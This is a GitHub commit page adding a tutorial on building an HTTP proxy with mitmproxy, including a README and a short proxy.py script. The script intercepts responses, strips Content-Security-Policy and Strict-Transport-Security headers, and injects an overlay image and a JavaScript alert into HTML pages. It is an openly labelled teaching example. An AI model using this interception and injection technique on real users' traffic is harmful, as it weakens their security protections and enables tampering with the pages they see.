Skip to content

Commit 1151b59

Browse files
committed
add making http proxy with mitmproxy tutorial
1 parent 703409e commit 1151b59

File tree

3 files changed

+31
-0
lines changed

3 files changed

+31
-0
lines changed

Diff for: README.md

+1
Original file line numberDiff line numberDiff line change
@@ -31,6 +31,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
3131
- [How to Build a SQL Injection Scanner in Python](https://www.thepythoncode.com/code/sql-injection-vulnerability-detector-in-python). ([code](ethical-hacking/sql-injection-detector))
3232
- [How to Extract Chrome Passwords in Python](https://www.thepythoncode.com/article/extract-chrome-passwords-python). ([code](ethical-hacking/chrome-password-extractor))
3333
- [How to Use Shodan API in Python](https://www.thepythoncode.com/article/using-shodan-api-in-python). ([code](ethical-hacking/shodan-api))
34+
- [How to Make an HTTP Proxy in Python](https://www.thepythoncode.com/article/writing-http-proxy-in-python-with-mitmproxy). ([code](ethical-hacking/http-mitm-proxy))
3435

3536
- ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning)
3637
- ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp)

Diff for: ethical-hacking/http-mitm-proxy/README.md

+11
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
# [How to Make an HTTP Proxy in Python](https://www.thepythoncode.com/article/writing-http-proxy-in-python-with-mitmproxy)
2+
To run this:
3+
- Install [mitmproxy](https://mitmproxy.org/).
4+
- Run the following command:
5+
```
6+
$ mitmproxy --ignore '^(?!duckduckgo\.com)' -s proxy.py
7+
```
8+
- Test your proxy via configuring your browser or tools such as iptables (check [the tutorial](https://www.thepythoncode.com/article/writing-http-proxy-in-python-with-mitmproxy) for more info), or you can test it out with `curl`:
9+
```
10+
$ curl -x http://127.0.0.1:8080/ -k https://duckduckgo.com/
11+
```

Diff for: ethical-hacking/http-mitm-proxy/proxy.py

+19
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
OVERLAY_HTML = b"<img style='z-index:10000;width:100%;height:100%;top:0;left:0;position:fixed;opacity:0.5' src='https://cdn.winknews.com/wp-content/uploads/2019/01/Police-lights.-Photo-via-CBS-News..jpg' />"
2+
OVERLAY_JS = b"<script>alert('You can\'t click anything on this page');</script>"
3+
4+
def remove_header(response, header_name):
5+
if header_name in response.headers:
6+
del response.headers[header_name]
7+
8+
9+
def response(flow):
10+
# remove security headers in case they're present
11+
remove_header(flow.response, "Content-Security-Policy")
12+
remove_header(flow.response, "Strict-Transport-Security")
13+
# if content-type type isn't available, ignore
14+
if "content-type" not in flow.response.headers:
15+
return
16+
# if it's HTML & response code is 200 OK, then inject the overlay snippet (HTML & JS)
17+
if "text/html" in flow.response.headers["content-type"] and flow.response.status_code == 200:
18+
flow.response.content += OVERLAY_HTML
19+
flow.response.content += OVERLAY_JS

0 commit comments

Comments
 (0)